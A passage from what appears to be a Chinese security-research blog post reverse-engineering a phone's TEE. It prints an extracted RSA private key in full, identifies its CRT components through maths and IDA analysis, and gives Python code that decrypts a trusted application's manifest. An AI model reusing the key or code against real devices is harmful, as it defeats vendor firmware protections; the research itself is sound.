<span class="mi">7</span><span class="n">TIFOyYqLGbhA64w4gMZwpXZLxYuHrE0EYsiAuUe7w4hWfzBa5raJOuYLf2gGSrh</span>
<span class="n">HT6mK68DSBT5abBzuvfGBdv3rVqyPoA</span><span class="o">+</span><span class="n">ny1UWiwzgSBYpRECQQD3wUCjtSCgffnn</span>
<span class="n">ON</span><span class="o">/</span><span class="n">sTS3xFwAj2fr</span><span class="o">/</span><span class="n">A8HoeAE2LKlVP2fWiZPKt7</span><span class="o">+</span><span class="n">xoSuqkBocplrfK7RPbWAERTC0</span>
<span class="n">zDs</span><span class="o">/</span><span class="n">B1yVAkEA3ki6qsb3ZbplhGscBJKoxHZVV9IOhmBTMf00aLAe9YW5UbgKhKX</span><span class="o">/</span>
<span class="n">I9hzGR9Rwmb8cMj8MvBbQVY9YcIskUOvvQJAG5ymH5ioMjrYBzUHf8Z6QExX76bz</span>
<span class="n">mkhI7Cezut3vYVjXsclTd1xTOPDFdRTqVBcWOZkdV1zRPqiXbQ7162heoQJBAJPe</span>
<span class="n">k</span><span class="o">/</span><span class="n">b5hyhwOAo</span><span class="o">/</span><span class="mi">6</span><span class="n">pKMMaMICTvzq9</span><span class="o">/</span><span class="n">ugkm15EBkMSQpgh9</span><span class="o">/</span><span class="n">q9eUScdBvUeQEyactgAd</span>
<span class="n">Y9BLHpm3UfwPXPCBs40CQQDoW2Mm</span><span class="o">+</span><span class="n">aLn0gjENiWMZI9p5myUVN2P</span><span class="o">/</span><span class="mi">9</span><span class="n">PkVsvdsfVL</span>
<span class="mi">0</span><span class="n">aRuRJx</span><span class="o">/</span><span class="n">d65hT0nioJbscgVrPRoiE6lJofFL3P5ckGbw</span>
<span class="o">-----</span><span class="n">END</span> <span class="n">RSA</span> <span class="n">PRIVATE</span> <span class="n">KEY</span><span class="o">-----</span>
</code></pre></div></div>
<p>那以上导出的这0x140字节的RSA私钥应该包含什么了呢?</p>
<ul>
<li>如果是n、d,那么n、d各0xa0字节,换算为bit为1280,并非512、1024,不太合理</li>
<li>如果是p、q、dp、dq、qinv,则其各64字节,换算为bit为512,可以为RSA 1024,较为合理</li>
</ul>
<p>那是不是我们猜的p、q、dp、dq、qinv呢?如果是,这里为什么不包含e?因为按照RSA原始的计算方法:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">e</span> <span class="o">*</span> <span class="n">d</span> <span class="err">≡</span> <span class="mi">1</span> <span class="p">(</span><span class="n">mod</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</code></pre></div></div>
<p>没有e也就不知道d,也就不能按照原始的办法解密。但其实中国剩余定理优化出的RSA计算方法中多出来的3个数据,即通过dp、dq、qinv,可以和p、q结合直接解密密文,而不需要e的直接参与。并且dp、dq、qinv是和e相关的,可以通过p和dp计算出e。其中dp 不是<code class="language-plaintext highlighter-rouge">d*p</code>,而是定义为 <code class="language-plaintext highlighter-rouge">d mod(p-1)</code>,并且dp、e、p满足一个关系,<code class="language-plaintext highlighter-rouge">dp与e在mod(p-1)下互为逆元</code>,即:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dp</span> <span class="o">*</span> <span class="n">e</span> <span class="err">≡</span> <span class="mi">1</span> <span class="p">(</span><span class="n">mod</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</code></pre></div></div>
<p>自己证明了一下(我也不知道证的对不对):</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/dp.jpeg" alt="image" /></p>
<p>那我们就可以假设0x140字节的私钥数据是p、q、dp、dq、qinv,然后计算一下e:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[:</span><span class="mi">64</span><span class="p">])</span>
<span class="n">dp</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">128</span><span class="p">:</span><span class="mi">192</span><span class="p">])</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">dp</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>
</code></pre></div></div>
<p>结果为0x10001,就是常用的e,因此:</p>
<ul>
<li>以上导出的这0x140字节的RSA私钥,确实是p、q、dp、dq、qinv各64字节</li>
<li>dp与e在mod(p-1)下确实互为逆元</li>
</ul>
<p>在CTF中也有在不给p、q的情况下,仅通过n、e、dp来破解RSA的题目,大概原理就是利用<code class="language-plaintext highlighter-rouge">dp与e在mod(p-1)下互为逆元</code>的性质,将其变化为等式:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">【</span> <span class="n">dp</span> <span class="o">*</span> <span class="n">e</span> <span class="err">≡</span> <span class="mi">1</span> <span class="p">(</span><span class="n">mod</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="err">】</span> <span class="o">-></span> <span class="err">【</span> <span class="n">dp</span> <span class="o">*</span> <span class="n">e</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">k</span> <span class="o">*</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="err">】(</span><span class="n">k</span><span class="err">为整数)</span>
</code></pre></div></div>
<p>因为dp定义为d mod (p-1),所以dp小于p-1,因此<code class="language-plaintext highlighter-rouge">k = [dp/(p-1)] * e - 1</code>的取值范围为<code class="language-plaintext highlighter-rouge">[-1,e-1)</code>。题目一般给出e为0x10001,因此可以爆破k,计算对应的p,当p可以被n整除时,成功拆分n为p和q,即可破解RSA:</p>
<ul>
<li><a href="https://blog.csdn.net/weixin_45369385/article/details/109208109">RSA-详解dp泄漏</a></li>
<li><a href="https://www.freebuf.com/articles/web/257835.html">CTF中的RSA及攻击方法笔记</a></li>
<li><a href="https://blog.csdn.net/qq_42939527/article/details/105202716">RSA的dp泄露 —— 【WUST-CTF2020】leak</a></li>
<li><a href="https://blog.csdn.net/m0_62506844/article/details/124235532">[羊城杯 2020]Power(dp泄露与同余性质)</a></li>
<li><a href="https://blog.csdn.net/m0_62506844/article/details/122539246">ctfshow crypto funnyrsa3 RSA之dp泄露</a></li>
</ul>
<p>但现在我们这里不用这么麻烦,因为已经有p、q、e了,所以我们继续可以算出d,然后就可以对密文进行解密了(当然纯用p、q、dp、dq、qinv也可以解密):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[:</span><span class="mi">64</span><span class="p">])</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">])</span>
<span class="n">dp</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">128</span><span class="p">:</span><span class="mi">192</span><span class="p">])</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">dp</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">d</span><span class="p">)))</span>
</code></pre></div></div>
<p>其他参考:</p>
<ul>
<li><a href="https://skysec.top/2018/11/17/%E5%BD%93%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86%E9%82%82%E9%80%85RSA/">当中国剩余定理邂逅RSA</a></li>
<li><a href="https://www.freebuf.com/articles/web/287854.html">CTF 史上最全 RSA 题目总结</a></li>
<li><a href="https://xshandow.gitee.io/2018/08/[%E8%AE%B0]1.PKCS1%20%E5%AF%86%E9%92%A5%E5%92%8C%E5%8E%9F%E8%AF%AD%20.html">PKCS#1 RSA算法标准—密钥和原语</a></li>
<li><a href="https://www.cnblogs.com/sunchukun/p/13690308.html">RSA根据已有的公私钥参数 E D N 求 p q invQ dp dQ,可转pkcs#8密钥文件格式base64编码</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/265807382">解惑RSA</a></li>
</ul>
<h3 id="逆向确定">逆向确定</h3>
<p>当然也可以通过逆向找到这个RSA私钥的格式,从作者给出的封装代码中可以看出这个RSA私钥是通过白盒密码算法对ciphertext1(还是带符号的变量)解密得到的:</p>
<blockquote>
<p><a href="https://github.com/teesec-research/tckit/blob/master/globaltaskgencode.py">https://github.com/teesec-research/tckit/blob/master/globaltaskgencode.py</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="n">ciphertext1</span> <span class="o">=</span> <span class="n">data</span> <span class="o">+</span> <span class="s">""" + hex(sym_map['ciphertext1']) + """</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">ciphertext2</span> <span class="o">=</span> <span class="n">data</span> <span class="o">+</span> <span class="s">""" + hex(sym_map['ciphertext2']) + """</span><span class="p">;</span>
</code></pre></div></div>
<p>所以可以从globaltask.elf中对ciphertext1变量的使用出发进行逆向:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="n">globaltask</span><span class="p">.</span><span class="n">elf</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">ciphertext1</span>
<span class="n">ciphertext1</span>
</code></pre></div></div>
<p>可以通过IDA的Names或者Exports窗口搜索此符号,找到ciphertext1变量:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/name.png" alt="image" /></p>
<p>然后交叉引用可以跟到get_dx_private_key函数,通过对其中的_CC_CRYS_RSA_Build_PrivKeyCRT函数名字(CRT:中国剩余定理)以及参数,也可以确定RSA私钥的划分,其中的65字节是因为解密后的第一组数据是拷贝的起始地址是buf(v17)第二个字节,原因可能是:<a href="https://crypto.stackexchange.com/questions/30608/leading-00-in-rsa-public-private-key-file">Leading 00 in RSA public/private key file</a></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/get_dx_private_key.png" alt="image" /></p>
<p>所以通过这个参数也能看出来私钥的0x140字节应该是被划成了五份,所以应该是p、q、dp、dq、qinv。如果想继续跟进_CC_CRYS_RSA_Build_PrivKeyCRT分析会发现进了系统调用,所以需要继续逆向TEEOS,即转换成名为Rtosck的ELF文件,在其中可以找到CRYS_RSA_Build_PrivKeyCRT函数,虽然逆向这个函数一眼看不太出来什么:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/privKeyCRT.png" alt="image" /></p>
<p>但CRYS_RSA_Build_PrivKeyCRT这个函数可搜到,是mbed-os的库函数,通过函数定义中的参数可以彻底确定私钥私钥的组成确实和猜测一致:</p>
<blockquote>
<p><a href="https://os.mbed.com/docs/mbed-os/v6.15/mbed-os-api-doxy/group__crys__rsa__build.html#ga08e98a8d11c546c99cbe82af1e9f151a">https://os.mbed.com/docs/mbed-os/v6.15/mbed-os-api-doxy/group__crys__rsa__build.html</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CRYSError_t</span> <span class="n">CRYS_RSA_Build_PrivKeyCRT</span> <span class="p">(</span> <span class="n">CRYS_RSAUserPrivKey_t</span> <span class="o">*</span> <span class="n">UserPrivKey_ptr</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">P_ptr</span><span class="p">,</span>
<span class="kt">uint16_t</span> <span class="n">PSize</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">Q_ptr</span><span class="p">,</span>
<span class="kt">uint16_t</span> <span class="n">QSize</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">dP_ptr</span><span class="p">,</span>
<span class="kt">uint16_t</span> <span class="n">dPSize</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">dQ_ptr</span><span class="p">,</span>
<span class="kt">uint16_t</span> <span class="n">dQSize</span><span class="p">,</span>
<span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">qInv_ptr</span><span class="p">,</span>
<span class="kt">uint16_t</span> <span class="n">qInvSize</span>
<span class="p">)</span>
</code></pre></div></div>
<h2 id="rsa解密manifest">RSA解密manifest</h2>
<p>现在即可使用RSA来解密TA头部的manifest,不过在解密之前我们还是通过010editor看一看TA,可以发现开头的0x18字节比较干净,应该不是加密的数据。从0x98字节开始是个字符串,所以也肯定没加密。因此 0x18 到 0x98偏移这0x80字节的数据比较乱,应该就是加密的manifest,也正好是128字节,满足RSA 1024的密文情况:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/manifest.png" alt="image" /></p>
<p>通过之前逆向globaltask.elf中的get_dx_private_key函数往上交叉引用 ,可以找到load_secure_app_image函数,其中调用parse_manifest函数的参数中有一个立即数0x18,这个偏移和我们推测的TA中加密的manifest的偏移一致:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/load_secure_app_image.png" alt="image" /></p>
<p>跟入parse_manifest函数,可以看到立即数128,和我们推测的manifest密文长度也一致:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/parse_manifest.jpeg" alt="image" /></p>
<p>所以直接尝试使用RSA解密TA开头偏移0x18,长度为0x80字节的数据:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[:</span><span class="mi">64</span><span class="p">])</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">])</span>
<span class="n">dp</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">128</span><span class="p">:</span><span class="mi">192</span><span class="p">])</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">dp</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.sec'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x18</span><span class="p">:</span><span class="mh">0x18</span><span class="o">+</span><span class="mh">0x80</span><span class="p">])</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">n</span><span class="p">))</span>
